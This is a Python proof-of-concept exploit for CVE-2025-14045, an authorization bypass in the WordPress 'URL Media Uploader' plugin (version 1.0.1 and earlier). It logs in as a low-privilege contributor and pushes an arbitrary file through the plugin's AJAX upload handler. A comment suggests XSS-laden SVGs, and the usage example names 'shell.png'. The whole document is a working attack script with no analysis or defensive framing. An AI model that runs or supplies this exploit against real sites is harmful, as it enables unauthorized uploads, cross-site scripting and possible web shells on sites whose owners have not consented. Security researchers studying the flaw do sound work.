CVE-2025-14045

# CVE-2025-14045 PoC - WordPress URL Media Uploader Authorization Bypass # Target: WordPress site with URL Media Uploader plugin <= 1.0.1 import requests import sys def exploit_cve_2025_14045(target_url, username, password, file_to_upload='test.png'): """ Exploit for CVE-2025-14045 - URL Media Uploader Authorization Bypass Requires Contributor+ level WordPress account """ # Setup session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload file via vulnerable AJAX endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious file content (could be SVG with XSS or other) files = { 'url_media_uploader_file': (file_to_upload, b'\x89PNG\r\n\x1a\n', 'image/png') } data = { 'action': 'url_media_uploader_url_upload_ajax_handler' } print(f"[*] Uploading file via vulnerable endpoint...") response = session.post(upload_url, data=data, files=files) # Step 3: Check response if response.status_code == 200: try: result = response.json() if result.get('success'): print(f"[+] File uploaded successfully!") print(f"[+] Response: {result}") return True except: pass print(f"[-] Upload failed or file type rejected") print(f"[*] Response: {response.text[:200]}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> ") print(f"Example: python {sys.argv[0]} http://target.com user pass shell.png") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] filename = sys.argv[4] exploit_cve_2025_14045(target, user, pwd, filename)

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